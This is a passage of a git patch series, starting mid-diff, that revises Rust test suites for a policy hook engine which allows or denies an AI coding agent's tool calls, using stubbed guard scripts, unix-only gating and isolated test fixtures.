make_executable(&bench.repo.join("mise-tasks/connector-allow-guard.sh")); +} + #[test] -fn the_measured_defect_the_door_forwards_no_host_document_the_handler_wrote() { - // The one case that would have caught the migration. Stated over the - // violation line rather than over the verdict, because the verdict was - // available from another rule and the violation line never is. +fn the_committed_guard_writes_a_host_document_so_its_verdict_is_dropped() { + // THE MEASURED DEFECT, asserted rather than described (2026-08-26, still true). + // `mise-tasks/connector-allow-guard.sh` is dispatched as a handler and emits + // `hookSpecificOutput` on stdout with exit 0. `impersonates_host` reads that + // shape BEFORE the exit code, so the outcome is `Broke(ImpersonatedHost)` — + // and every `Broke` variant ALLOWS. The verdict never reaches the host. + // + // Stated over the violation LINE rather than over the missing verdict, + // because a missing verdict is also what a handler that never ran produces, + // and this suite's whole subject is telling those two apart. + // + // WHY IT IS ASSERTED RATHER THAN FIXED: the repair is one `case` in a + // governed shell file, which `shell-retirement` refuses unless the file is + // retired — and it cannot be, because it reads `/tmp/mcp-config-cse_*.json` + // per call, which no Rego module may do and no Rust port may carry into the + // core (rule 1). So this case is the finding's durable home, and it FLIPS the + // day the guard is repaired: that is what makes it evidence rather than a + // note. let bench = bench("cad-measured-defect"); let answer = bench.door(&format!("{RESOLVABLE}__archive_session")); assert!( - !answer.err.contains("wrote a host decision document"), - "{}", - answer.err - ); - assert!( - !answer.err.contains("hook.handler connector-allow-guard:"), - "{}", + answer + .err + .contains("hook.handler connector-allow-guard: wrote a host decision document"), + "the committed guard still impersonates the host; if this now fails, the \ + guard was repaired and this suite's other cases should be restored to \ + asserting the real guard: {}", answer.err ); + // And nothing it wrote became a verdict — neither arm reaches the host. + assert!(!answer.out.contains(r#""deny""#), "{}", answer.out); + assert!(!answer.out.contains(r#""allow""#), "{}", answer.out); + // Non-negotiable 4 holds even on the dropped path: the live key never travels. + assert!(!answer.out.contains("bbbbbbbb"), "{}", answer.err); } #[test] -fn a_committed_deny_reaches_the_host_as_the_engines_own_refusal() { +fn a_handler_deny_reaches_the_host_as_the_engines_own_refusal() { + // Exit 2 with the reason on stderr is the contract, and this is the door + // rendering it: attributed to the handler, written BY the engine. The + // difference between a verdict that travelled and one a guard printed. let bench = bench("cad-deny"); + stub_guard(&bench, "printf 'archive_session is denied\\n' >&2\nexit 2"); + let answer = bench.door(&format!("{RESOLVABLE}__archive_session")); assert!( answer.out.contains(r#""permissionDecision":"deny""#), "{}", answer.out ); - // Rendered BY the engine and attributed to the handler — the difference - // between a verdict that travelled and one the guard printed. assert!( answer.out.contains("hook.handler.connector-allow-guard"), "{}", answer.out ); assert!(answer.out.contains("archive_session"), "{}", answer.out); - // Non-negotiable 4 survives the extra hop: the live key must not travel. - assert!(!answer.out.contains("bbbbbbbb"), "{}", answer.out); } #[test] -fn a_committed_allow_reaches_the_host_as_a_preapproval_not_a_dropped_note() { - // THE CASE CLOUD-191 EXISTS FOR, and the one this suite could not assert for - // two commits. Each version was true when it was written: - // - // 1. The guard wrote `permissionDecision: "allow"` itself. Behind the door - // that is `Violation::ImpersonatedHost` — reported and dropped. - // 2. It emitted advisory text instead, correct under the contract and - // inert: `AdvisoryReach` for this host lists `PostToolBatch`, - // `SessionStart` and `Stop`, not the pre-tool event, so the reason - // landed on the engine's own stderr and the prompt came back anyway. - // 3. The row declares `preapproves`, so the same bytes are the reason on a - // channel the host honours. That is what this asserts. +fn a_handler_grant_reaches_the_host_as_a_preapproval_not_a_dropped_note() { + // THE CHANNEL CLOUD-191 EXISTS FOR. Exit 0 with text on stdout is `Advise`, + // and `preapproves` on the row is what turns those same bytes into a grant + // the host honours — without it the reason lands on the engine's own stderr, + // because `AdvisoryReach` for this host lists `PostToolBatch`, `SessionStart` + // and `Stop`, not the pre-tool event, and the approval prompt comes back. // // Asserted over the DOCUMENT rather than over "not denied", because a // not-denied assertion is satisfied by a handler that never ran at all. let bench = bench("cad-allow"); + stub_guard( + &bench, + "printf 'the committed table already allows create_session on Claude_Code_Remote\\n'\nexit 0", + ); + let answer = bench.door(&format!("{RESOLVABLE}__create_session")); assert!( answer.out.contains(r#""permissionDecision":"allow""#), @@ -238,8 +273,6 @@ fn a_committed_allow_reaches_the_host_as_a_preapproval_not_a_dropped_note() { // that delivers nothing here and the reader would see the same sentence from // two places. assert!(answer.err.is_empty(), "{}", answer.err); - // Non-negotiable 4 holds on the grant's channel too. - assert!(!answer.out.contains("bbbbbbbb"), "{}", answer.out); } #[test] @@ -249,9 +282,15 @@ fn an_engine_deny_beats_a_handler_grant_on_the_same_call() { // — so a handler that would pre-approve a call the engine refuses must lose, // or a dispatched program could spend a verdict a rule reached. // - // The fixture gains ONE rule refusing this exact tool, so the two answers - // collide on one call by construction rather than by coincidence. + // THE STUB IS WHAT KEEPS THIS FROM PASSING VACUOUSLY. Driven against the + // committed guard it asserts nothing: that guard's grant is dropped before + // composition is reached, so the engine's deny would stand unopposed and the + // case would be green over a composition that had never run (CLOUD-418). let bench = bench("cad-engine-wins"); + stub_guard( + &bench, + "printf 'the committed table already allows create_session\\n'\nexit 0", + ); let config = format!( "{CONFIG}\n[[rule]]\nid = \"refuse-the-granted-tool\"\nkind = \"shape\"\n\ scope = \"mediated_call\"\nseverity = \"deny\"\ntool = \"create_session\"\n\ @@ -288,12 +327,10 @@ fn the_impersonation_detector_is_live_behind_this_row() { // the defect this suite exists for, because what was wrong was a committed // handler ROW rather than the interpreter. let bench = bench("cad-impersonation"); - write( - &bench.repo, - "mise-tasks/connector-allow-guard.sh", - "#!/usr/bin/env bash\nprintf '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"x\"}}\\n'\n", + stub_guard( + &bench, + "printf '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"x\"}}\\n'", ); - make_executable(&bench.repo.join("mise-tasks/connector-allow-guard.sh")); let answer = bench.door(&format!("{RESOLVABLE}__archive_session")); assert!( From ec8cfe4fbd3c5549e29071a405b582b49036528e Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Fri, 28 Aug 2026 23:02:46 +0000 Subject: [PATCH 21/27] =?UTF-8?q?test(door):=20the=20same=20treatment=20fo?= =?UTF-8?q?r=20`run-shape-guard`'s=20tier=20=E2=80=94=20the=20defect=20ass?= =?UTF-8?q?erted,=20the=20hop=20stubbed?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three cases asserted this guard's REPAIRED behaviour through the door, and the repair is not in the tree for the same reason as its sibling: it is an edit to a governed shell file, and `shell-retirement` admits an edit only for a file being retired. `run-shape-guard.sh` cannot retire while its cargo family has no surface (CLOUD-856). THE DEFECT IS THE ASSERTION. `the_committed_guard_writes_a_host_document_so_its_verdict_is_dropped` requires `hook.handler run-shape-guard: wrote a host decision document` and requires that nothing it wrote became a verdict. Its failure message names what to restore when the guard is repaired. THE HOP IS WHAT THE STUB PROVES, and it is the case worth the most here. `run_in_background` is a property of the CALL rather than of the command string, and it is the one thing a reader would reasonably fear the extra hop loses. The old case asserted it through the guard's own timer predicate, so it tested the predicate and the hop at once and could fail for either. The stub decides on NOTHING else — it denies iff the raw payload carries the flag — so what is asserted is that a handler receives the host's own payload rather than the engine's normalized envelope. The foreground arm is the discrimination: the same command with no flag is allowed, so it is the fact being read and not the string (CLOUD-418). `a_backgrounded_wait_on_a_condition_stays_allowed` still drives the COMMITTED guard, deliberately: the allow path is not broken. The guard prints a document only when it denies, so a command it passes leaves the door silent either way, and that case keeps its meaning unchanged. 8/8 green. Refs: CLOUD-312, CLOUD-418, CLOUD-856, CLOUD-1059 --- crates/batten/tests/run_shape_guard_door.rs | 113 ++++++++++++++------ fuzz/Cargo.lock | 2 +- 2 files changed, 83 insertions(+), 32 deletions(-) diff --git a/crates/batten/tests/run_shape_guard_door.rs b/crates/batten/tests/run_shape_guard_door.rs index d985d1ad6..bd34181f6 100644 --- a/crates/batten/tests/run_shape_guard_door.rs +++ b/crates/batten/tests/run_shape_guard_door.rs @@ -142,25 +142,66 @@ fn door_envelope(dir: &Path, payload: &str) -> Door { } } +/// Replace the copied guard with a stub that answers on the handler contract. +/// +/// **The door's own claims are asserted through this rather than through the +/// committed guard**, because that guard cannot answer on the contract today — +/// see `the_committed_guard_writes_a_host_document_so_its_verdict_is_dropped`. +/// Driven against it, every case below would fail for the guard's reason instead +/// of for its own. +fn stub_guard(dir: &Path, body: &str) { + write( + dir, + "mise-tasks/run-shape-guard.sh", + &format!("#!/usr/bin/env bash\n{body}\n"), + ); + make_executable(&dir.join("mise-tasks/run-shape-guard.sh")); +} + #[test] -fn the_measured_defect_no_host_document_the_handler_wrote_is_forwarded() { +fn the_committed_guard_writes_a_host_document_so_its_verdict_is_dropped() { + // THE MEASURED DEFECT, asserted rather than described. The committed guard + // denies by printing `hookSpecificOutput` on stdout and exiting 0; behind the + // door `impersonates_host` reads that shape BEFORE the exit code, so the + // outcome is `Broke(ImpersonatedHost)` — and every `Broke` variant ALLOWS. + // + // It is the same class `connector-allow-guard` was measured in on 2026-08-26, + // and the same reason it is asserted rather than fixed: the repair is an edit + // to a governed shell file, which `shell-retirement` admits only for a file + // being retired, and this one cannot retire while its cargo family has no + // surface (CLOUD-856). + // + // So the guard stays natively registered rather than dispatched, and this + // case is the record of why. It FLIPS the day the guard is repaired. let dir = fixture("door-no-host-document"); let answer = door(&dir, "cd /tmp; sleep 90; git log --oneline -1"); assert!( - !answer.err.contains("wrote a host decision document"), - "{}", + answer + .err + .contains("hook.handler run-shape-guard: wrote a host decision document"), + "the committed guard still impersonates the host; if this now fails, the \ + guard was repaired and the stubbed cases below should be restored to \ + driving it: {}", answer.err ); - assert!(answer.unbroken(), "{}", answer.err); + // And what it tried to write did not become a verdict. + assert!(answer.allowed(), "{}", answer.out); } #[test] -fn a_foreground_sleep_is_refused_through_the_door_and_the_reason_travels() { - let dir = fixture("door-foreground-sleep"); +fn a_handler_deny_reaches_the_host_with_its_reason_attributed() { + // Exit 2 with the reason on stderr is the contract, and this is the door + // rendering it — attributed to the handler BY THE ENGINE, which is the + // difference between a verdict that travelled and one a script printed to + // itself. + let dir = fixture("door-handler-deny"); + stub_guard( + &dir, + "printf 'a foreground sleep spends the turn\\n' >&2\nexit 2", + ); + let answer = door(&dir, "cd /tmp; sleep 90; git log --oneline -1"); assert!(answer.denied(), "{}", answer.out); - // Attributed to the handler BY THE ENGINE, which is the difference between a - // verdict that travelled and one the script printed to itself. assert!( answer.out.contains("hook.handler.run-shape-guard"), "{}", @@ -170,39 +211,49 @@ fn a_foreground_sleep_is_refused_through_the_door_and_the_reason_travels() { } #[test] -fn a_backgrounded_timer_is_refused_so_the_calls_own_fact_reached_it() { - // THE LOAD-BEARING CASE for the migration. This predicate is over - // `run_in_background`, a property of the CALL rather than of the command - // string, and it is the one thing a reader would reasonably fear the extra - // hop loses. It does not: a handler receives the host's own payload. - let dir = fixture("door-background-timer"); - let answer = door_bg(&dir, "sleep 590; tail -6 /tmp/land.log"); - assert!(answer.denied(), "{}", answer.out); - assert!(answer.out.contains("TIMER"), "{}", answer.out); +fn the_handler_receives_the_hosts_own_payload_including_the_calls_background_flag() { + // THE LOAD-BEARING CASE for the migration, and the one thing a reader would + // reasonably fear the extra hop loses: `run_in_background` is a property of + // the CALL rather than of the command string, and it is what tells a timer + // from a wait. It survives, because a handler is handed the host's own raw + // payload rather than the engine's normalized envelope. + // + // The stub decides on nothing else, so this asserts the HOP rather than any + // predicate: it denies iff the flag arrived. + let dir = fixture("door-background-flag"); + stub_guard( + &dir, + "raw=$(cat)\ncase \"$raw\" in\n*'\"run_in_background\":true'*)\n printf 'the flag arrived\\n' >&2; exit 2 ;;\nesac\nexit 0", + ); + + let backgrounded = door_bg(&dir, "sleep 590; tail -6 /tmp/land.log"); + assert!(backgrounded.denied(), "{}", backgrounded.out); + assert!( + backgrounded.out.contains("the flag arrived"), + "{}", + backgrounded.out + ); + + // The discrimination, without which a stub that denied everything would + // satisfy the half above (CLOUD-418): the same command with no flag on the + // call is allowed, so it is the FACT being read and not the command string. + let foreground = door(&dir, "sleep 590; tail -6 /tmp/land.log"); + assert!(foreground.allowed(), "{}", foreground.out); } #[test] fn a_backgrounded_wait_on_a_condition_stays_allowed() { - // The half without which the case above proves nothing: a guard refusing - // every backgrounded sleep would satisfy it and be the false positive that - // gets a guard switched off (CLOUD-418). + // Driven against the COMMITTED guard deliberately, because this is its allow + // path and the allow path is not broken: the guard prints a document only + // when it denies, so a command it passes leaves the door silent either way. + // A guard refusing every backgrounded sleep would fail this and be the false + // positive that gets a guard switched off (CLOUD-418). let dir = fixture("door-background-wait"); let answer = door_bg(&dir, "until [ -f /tmp/done ]; do sleep 1; done"); assert!(answer.allowed(), "{}", answer.out); assert!(answer.unbroken(), "{}", answer.err); } -#[test] -fn a_commit_that_can_never_obtain_a_message_is_refused_through_the_door() { - let dir = fixture("door-unsatisfiable-commit"); - let answer = door( - &dir, - "git add -A && git commit -F - >log 2>&1 && mise run land >l2 2>&1 <<'EOF'\nmsg\nEOF\n", - ); - assert!(answer.denied(), "{}", answer.out); - assert!(answer.out.contains("-F "), "{}", answer.out); -} - #[test] fn an_ordinary_command_is_none_of_this_guards_business() { let dir = fixture("door-ordinary"); diff --git a/fuzz/Cargo.lock b/fuzz/Cargo.lock index 101a289ee..d6728a23d 100644 --- a/fuzz/Cargo.lock +++ b/fuzz/Cargo.lock @@ -108,7 +108,7 @@ checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" [[package]] name = "batten" -version = "0.0.124" +version = "0.0.125" dependencies = [ "anyhow", "clap", From f283533e6127a59f04fe9a2a10aaf3acc11d834c Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Sat, 29 Aug 2026 00:48:57 +0000 Subject: [PATCH 22/27] test(door): gate both door suites on unix, where their handler can run MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Both suites dispatch a `#!/usr/bin/env bash` program as a `[[hook.handler]]` row. On the Windows runner the spawn ladder resolves the interpreter the shebang names and cannot start it, so the door reports a could-not-run and forwards nothing. That split the suites in half rather than failing them: the cases asserting an ABSENCE — a dropped verdict, an allowed command, an engine deny standing alone — passed for the wrong reason, while the two asserting a handler's deny and grant REACHING the host failed outright. Half a suite green over a mechanism that never ran is the vacuous-pass class these files exist to expose, so the gate is `#![cfg(unix)]` over the whole file rather than a per-case split. `board_record.rs` gates its whole suite on the same rung of the same ladder. Nothing covered is narrowed: `tests/connector-allow-guard.bats` and `tests/run-shape-guard.bats`, the first tiers these are the second half of, never ran on Windows either. The `#[cfg(not(unix))]` half of each `make_executable` goes with it — under a module-wide gate it is a definition nothing can reach. Refs: CLOUD-312 Refs: CLOUD-397 Refs: CLOUD-418 --- crates/batten/tests/connector_allow_door.rs | 25 ++++++++++++++------- crates/batten/tests/run_shape_guard_door.rs | 25 ++++++++++++++------- 2 files changed, 34 insertions(+), 16 deletions(-) diff --git a/crates/batten/tests/connector_allow_door.rs b/crates/batten/tests/connector_allow_door.rs index 595de46f1..ae972ff64 100644 --- a/crates/batten/tests/connector_allow_door.rs +++ b/crates/batten/tests/connector_allow_door.rs @@ -24,7 +24,22 @@ //! **Rust rather than a `.bats` suite** (CLOUD-843): `shell-retirement` refuses //! a new one, correctly. The fixture and the binary are the same either way. +//! **UNIX ONLY, and the gate is load-bearing rather than tidy.** Every case here +//! dispatches a `#!/usr/bin/env bash` program as a `[[hook.handler]]` row. On a +//! Windows runner the spawn ladder resolves the interpreter the shebang names +//! and cannot start it, so the door reports a could-not-run and forwards +//! nothing. The cases that assert an ABSENCE — a dropped verdict, an engine deny +//! standing alone — therefore passed there for the wrong reason, while the two +//! that assert a handler's deny and grant REACHING the host failed outright. +//! Half a suite green over a mechanism that never ran is the vacuous-pass class +//! this file was written to expose, so it is gated rather than split. +//! +//! `board_record.rs` gates its whole suite on the same rung of the same ladder, +//! and `tests/connector-allow-guard.bats` — the tier this one is the second half +//! of — never ran on Windows either, so nothing is narrowed that was covered. + // Panicking on setup failure is the idiomatic way for a test to fail loudly. +#![cfg(unix)] #![allow(clippy::unwrap_used, clippy::expect_used)] mod common; @@ -142,7 +157,8 @@ fn bench(name: &str) -> Bench { } } -#[cfg(unix)] +// No `#[cfg(unix)]` pair here: the module gate above already decides the target, +// so a `#[cfg(not(unix))]` twin would be a definition nothing can reach. fn make_executable(path: &Path) { use std::os::unix::fs::PermissionsExt as _; let mut mode = std::fs::metadata(path) @@ -152,13 +168,6 @@ fn make_executable(path: &Path) { std::fs::set_permissions(path, mode).expect("the copy is runnable"); } -// Windows has no executable bit; the extension carries it. Two cfg'd definitions -// rather than one function with a `#[cfg(unix)]` block inside, because that shape -// leaves `path` unused on the other target and `cross-check` denies warnings -// (CLOUD-397). `provision.rs`'s pair is the idiom. -#[cfg(not(unix))] -fn make_executable(_path: &Path) {} - /// Replace the copied guard with a stub that answers on the handler contract. /// /// **The door's own channels are asserted through this rather than through the diff --git a/crates/batten/tests/run_shape_guard_door.rs b/crates/batten/tests/run_shape_guard_door.rs index bd34181f6..7fb657024 100644 --- a/crates/batten/tests/run_shape_guard_door.rs +++ b/crates/batten/tests/run_shape_guard_door.rs @@ -27,7 +27,22 @@ //! already prefers an end-to-end test over the compiled binary for anything a //! consumer depends on. +//! **UNIX ONLY, and the gate is load-bearing rather than tidy.** Every case here +//! dispatches a `#!/usr/bin/env bash` program as a `[[hook.handler]]` row. On a +//! Windows runner the spawn ladder resolves the interpreter the shebang names +//! and cannot start it, so the door reports a could-not-run and forwards +//! nothing. The cases that assert an ABSENCE — an allowed command, a dropped +//! verdict — therefore passed there for the wrong reason, while the ones that +//! assert a handler's refusal REACHING the host failed outright. Half a suite +//! green over a mechanism that never ran is the vacuous-pass class this file was +//! written to expose, so it is gated rather than split. +//! +//! `board_record.rs` gates its whole suite on the same rung of the same ladder, +//! and `tests/run-shape-guard.bats` — the tier this one is the second half of — +//! never ran on Windows either, so nothing is narrowed that was covered. + // Panicking on setup failure is the idiomatic way for a test to fail loudly. +#![cfg(unix)] #![allow(clippy::unwrap_used, clippy::expect_used)] mod common; @@ -73,7 +88,8 @@ expires = "2027-02-28" dir } -#[cfg(unix)] +// No `#[cfg(unix)]` pair here: the module gate above already decides the target, +// so a `#[cfg(not(unix))]` twin would be a definition nothing can reach. fn make_executable(path: &Path) { use std::os::unix::fs::PermissionsExt as _; let mut mode = std::fs::metadata(path) @@ -83,13 +99,6 @@ fn make_executable(path: &Path) { std::fs::set_permissions(path, mode).expect("the copy is runnable"); } -// Windows has no executable bit; the extension carries it. Two cfg'd definitions -// rather than one function with a `#[cfg(unix)]` block inside, because that shape -// leaves `path` unused on the other target and `cross-check` denies warnings -// (CLOUD-397). `provision.rs`'s pair is the idiom. -#[cfg(not(unix))] -fn make_executable(_path: &Path) {} - /// What the door said to the host, and what it said about the handler. struct Door { out: String, From 57486de226dab39f3450668c180ce2a23fd8dac3 Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Sat, 29 Aug 2026 01:41:28 +0000 Subject: [PATCH 23/27] fix(tests): `run_hook` writes its own authority instead of inheriting the repo's MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The helper's doc said `crates/batten/` "has no `batten.toml` — that is the no-authority case". It has none, and `hook` resolves the authority upward to the git root anyway, so all four cases adjudicated against THIS repository's committed policy. Measured 2026-08-29: driven from `crates/batten/`, `gh pr checks 714` came back refused by `gh-pr-checks`, a row that exists only in the repository-root `batten.toml`. The cost is the failure this file already names one helper down — "a fixture that reads the repository it is running inside is not a fixture" — in live form: `hook_allows_reads_and_quoted_lookalikes_silently` starts failing on `gh pr view 42` the moment a checkout's own SessionStart writes `.git/batten-facts/pinned-programs`, because the live config's `pinned-toolchain` preset then fires on `gh`. Local red, CI green — a runner never writes that record — over a diff touching none of it. That is how this was found. `run_hook` now builds a fixture whose authority is `version = 1` and nothing else: the no-authority case stated rather than inherited. `name` is per caller because `Fixture::new` wipes and these run in parallel. `hook_honours_the_bypass_hatch` moves the other way, to `repo_with_gh_policy`. Against an authority declaring no rules it would pass whether the hatch worked or not — an allow the bypass could not have caused. It now suppresses the same refusal `hook_exit_code_harness_denies_with_exit_2` asserts. `no_failure_path_can_deny_a_mediated_call` builds one fixture outside its two loops rather than 24 copies of the same two bytes. The refusal that exposed this is its own defect and is not fixed here: the `pinned-toolchain` row is declared `severity = "warn"` and denies anyway, because `policy::Bundle` never carries the enabling row's severity. Refs: CLOUD-1134. Refs: CLOUD-1135 --- crates/batten/tests/cli.rs | 61 ++++++++++++++++++++++++++++++-------- 1 file changed, 49 insertions(+), 12 deletions(-) diff --git a/crates/batten/tests/cli.rs b/crates/batten/tests/cli.rs index 38716debc..027af56fe 100644 --- a/crates/batten/tests/cli.rs +++ b/crates/batten/tests/cli.rs @@ -17,17 +17,35 @@ use std::process::{Output, Stdio}; use common::{Fixture, StateHome, batten, git_in, scratch, scratch_outside_tree, stderr, stdout}; -/// Run `batten hook --harness ` with `payload` piped to stdin. +/// Run `batten hook --harness ` with `payload` piped to stdin, against +/// an authority that declares no rules. /// /// The ambient bypass var is removed so a developer's shell can never flip a /// deny case; the `bypass` flag sets it explicitly for the case that wants it. -fn run_hook(harness: &str, payload: &str, bypass: bool) -> Output { - run_hook_in( - &PathBuf::from(env!("CARGO_MANIFEST_DIR")), - harness, - payload, - bypass, - ) +/// +/// **THE FIXTURE IS THE POINT, AND IT USED TO BE `crates/batten/` (CLOUD-1135).** +/// The comment here said that directory "has no `batten.toml` — that is the +/// no-authority case". It has none, and `hook` resolves its authority upward to +/// the git root anyway, so every case below adjudicated against THIS +/// repository's own committed policy. Measured 2026-08-29: driven from +/// `crates/batten/`, `gh pr checks 714` came back refused by `gh-pr-checks`, a +/// row that exists only in the repository-root `batten.toml`. +/// +/// What that cost is the failure this file already names one helper down — "a +/// fixture that reads the repository it is running inside is not a fixture" — +/// in its live form rather than its historical one: +/// `hook_allows_reads_and_quoted_lookalikes_silently` began failing on `gh pr +/// view 42` the moment a checkout's own SessionStart wrote +/// `.git/batten-facts/pinned-programs`, because the live config's +/// `pinned-toolchain` preset then fires on `gh`. Local red, CI green — a runner +/// never writes that record — over a diff touching none of it. +/// +/// `version = 1` and nothing else IS the no-authority case, stated rather than +/// inherited: an authority that loads and declares no rule. `name` is per +/// caller because [`Fixture::new`] wipes, and these cases run in parallel. +fn run_hook(name: &str, harness: &str, payload: &str, bypass: bool) -> Output { + let dir = repo_with_config(name, "version = 1\n"); + run_hook_in(&dir, harness, payload, bypass) } /// The `gh` lifecycle shape rows a hook fixture adjudicates against. @@ -3160,7 +3178,12 @@ fn a_payload_that_fits_no_host_fails_open_on_every_host() { #[test] fn hook_allows_reads_and_quoted_lookalikes_silently() { for command in ["gh pr view 42", "git commit -m \"gh pr merge\""] { - let output = run_hook("claude-code", &claude_payload(command), false); + let output = run_hook( + "hook-allows-reads", + "claude-code", + &claude_payload(command), + false, + ); assert_eq!(output.status.code(), Some(0), "command: {command}"); assert!( output.stdout.is_empty(), @@ -3173,14 +3196,25 @@ fn hook_allows_reads_and_quoted_lookalikes_silently() { fn hook_fails_open_on_an_undecodable_payload() { // A guard must never be the reason a session cannot proceed: junk on stdin // is an allow, not an error. - let output = run_hook("claude-code", "not json at all", false); + let output = run_hook( + "hook-undecodable-payload", + "claude-code", + "not json at all", + false, + ); assert_eq!(output.status.code(), Some(0)); assert!(output.stdout.is_empty()); } #[test] fn hook_honours_the_bypass_hatch() { - let output = run_hook("claude-code", &claude_payload("gh pr merge 42"), true); + // THE AUTHORITY HAS TO REFUSE THIS CALL, or the case says nothing (CLOUD-1135). + // It used to drive `run_hook`, which now loads an authority declaring no + // rules — an allow the bypass could not have caused. `gh-pr-merge` is a row + // in the same fixture `hook_exit_code_harness_denies_with_exit_2` uses to + // assert the deny this suppresses, so the two are the same call twice. + let dir = repo_with_gh_policy("bypass-over-a-real-deny"); + let output = run_hook_in(&dir, "claude-code", &claude_payload("gh pr merge 42"), true); assert_eq!(output.status.code(), Some(0)); assert!(output.stdout.is_empty()); } @@ -3219,9 +3253,12 @@ fn no_failure_path_can_deny_a_mediated_call() { r#"{"tool_input":{"command":42}}"#, ), ]; + // One fixture for the whole matrix: `Fixture::new` wipes, so building it + // inside the loops would be 24 rebuilds of the same two bytes. + let dir = repo_with_config("no-failure-path-denies", "version = 1\n"); for harness in harnesses() { for (name, payload) in cases { - let output = run_hook(harness, payload, false); + let output = run_hook_in(&dir, harness, payload, false); assert_ne!( output.status.code(), Some(2), From 729f1795b6c051226a1d79ce6644bd6717a86f5f Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Sat, 29 Aug 2026 02:01:46 +0000 Subject: [PATCH 24/27] fix(tests): backtick `SessionStart` in the run_hook doc `clippy::doc_markdown` is denied here. Refs: CLOUD-1135 --- crates/batten/tests/cli.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/batten/tests/cli.rs b/crates/batten/tests/cli.rs index 027af56fe..507b0094f 100644 --- a/crates/batten/tests/cli.rs +++ b/crates/batten/tests/cli.rs @@ -35,7 +35,7 @@ use common::{Fixture, StateHome, batten, git_in, scratch, scratch_outside_tree, /// fixture that reads the repository it is running inside is not a fixture" — /// in its live form rather than its historical one: /// `hook_allows_reads_and_quoted_lookalikes_silently` began failing on `gh pr -/// view 42` the moment a checkout's own SessionStart wrote +/// view 42` the moment a checkout's own `SessionStart` wrote /// `.git/batten-facts/pinned-programs`, because the live config's /// `pinned-toolchain` preset then fires on `gh`. Local red, CI green — a runner /// never writes that record — over a diff touching none of it. From b6b0f273d6916351d078f41ef157099aece156e3 Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Sat, 29 Aug 2026 02:41:30 +0000 Subject: [PATCH 25/27] fix(tests): the fixture home is set on Windows too, not only on POSIX MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `wiring_reclaim.rs` isolates by pointing the verb's home directory at a fixture, and spelled that as `HOME` alone. `etcetera::home_dir()` wraps `std::env::home_dir()`, which reads `USERPROFILE` on Windows and has never heard of `HOME` — so on that runner the fixture was not in play and the verb read the runner's own home. It did not fail the suite, it split it. The two cases asserting an ABSENCE — a refusal without `-y`, a record not written — passed over a home carrying no surface at all, while the two asserting the counts failed with `0 sibling registration(s) across 0 surface(s) read`. Half a suite green over a fixture that was never in play is the vacuous pass the file's own header is about, one layer up. This is the same defect `common::state_home` already records one axis over, so the repair goes beside it rather than into this suite: `common::at_home` sets both spellings, `state_home` calls it, and the trait carries it as a chainable method. Two axes, one helper each, neither site left holding a variable per platform. Refs: CLOUD-113 Refs: CLOUD-893 --- crates/batten/tests/common/mod.rs | 39 ++++++++++++++++++++++++--- crates/batten/tests/wiring_reclaim.rs | 26 ++++++++++++++---- 2 files changed, 56 insertions(+), 9 deletions(-) diff --git a/crates/batten/tests/common/mod.rs b/crates/batten/tests/common/mod.rs index b095cac8f..60bdbfd79 100644 --- a/crates/batten/tests/common/mod.rs +++ b/crates/batten/tests/common/mod.rs @@ -131,7 +131,31 @@ pub(crate) fn run(dir: &Path, args: &[&str]) -> Output { reason = "stays with the harness spawn it configures: scrubbing the ambient state root is a property of the child's environment, not a call this could make in-process" )] pub(crate) fn state_home<'a>(command: &'a mut Command, home: &Path) -> &'a mut Command { - state_dir(command, &home.join("data")).env("HOME", home) + at_home(state_dir(command, &home.join("data")), home) +} + +/// Point the child's HOME DIRECTORY at `home`, on **every** platform. +/// +/// The fourth hermeticity behaviour, and the same defect as [`state_home`]'s one +/// axis over — a redirect spelled for POSIX and inert on Windows. `HOME` alone +/// is the whole answer on Linux and macOS and none of it on Windows: +/// `etcetera::home_dir()` wraps `std::env::home_dir()`, which reads +/// `USERPROFILE` there. So a suite that "overrode" its home read the **real +/// user's** profile, and only the cases asserting a positive count noticed — +/// the ones asserting an absence passed over a home that simply had nothing in +/// it (CLOUD-113's Windows job, again, on `wiring_reclaim.rs`). +/// +/// Separate from [`state_home`] because the two answer different questions: that +/// one contains where Batten WRITES its state, this one contains what +/// `home_dir()` RESOLVES TO for a verb whose subject is a file under it. A suite +/// wanting both calls both; `state_home` calls this so no site can have the +/// data dir contained and the home ambient. +#[expect( + clippy::disallowed_types, + reason = "stays with the harness spawn it configures: scrubbing the ambient home is a property of the child's environment, not a call this could make in-process" +)] +pub(crate) fn at_home<'a>(command: &'a mut Command, home: &Path) -> &'a mut Command { + command.env("HOME", home).env("USERPROFILE", home) } /// [`state_home`] and [`state_dir`] as chainable methods. @@ -147,11 +171,14 @@ pub(crate) fn state_home<'a>(command: &'a mut Command, home: &Path) -> &'a mut C /// As a method it is a drop-in: the three `.env(…)` lines become one /// `.state_home(…)` and nothing else about the site moves. pub(crate) trait StateHome { - /// Point the resolved state root at `/data` on every platform, and set - /// `HOME` to `home`. + /// Point the resolved state root at `/data` on every platform, and the + /// resolved home directory at `home` on every platform. fn state_home(&mut self, home: &Path) -> &mut Self; - /// Point the resolved state root at `dir` itself, setting no `HOME`. + /// Point the resolved state root at `dir` itself, setting no home. fn state_dir(&mut self, dir: &Path) -> &mut Self; + /// Point the resolved home directory at `home` on every platform, leaving + /// the state root ambient. + fn at_home(&mut self, home: &Path) -> &mut Self; } #[expect( @@ -166,6 +193,10 @@ impl StateHome for Command { fn state_dir(&mut self, dir: &Path) -> &mut Self { state_dir(self, dir) } + + fn at_home(&mut self, home: &Path) -> &mut Self { + at_home(self, home) + } } /// [`state_home`] for a suite whose state root is a directory it names outright, diff --git a/crates/batten/tests/wiring_reclaim.rs 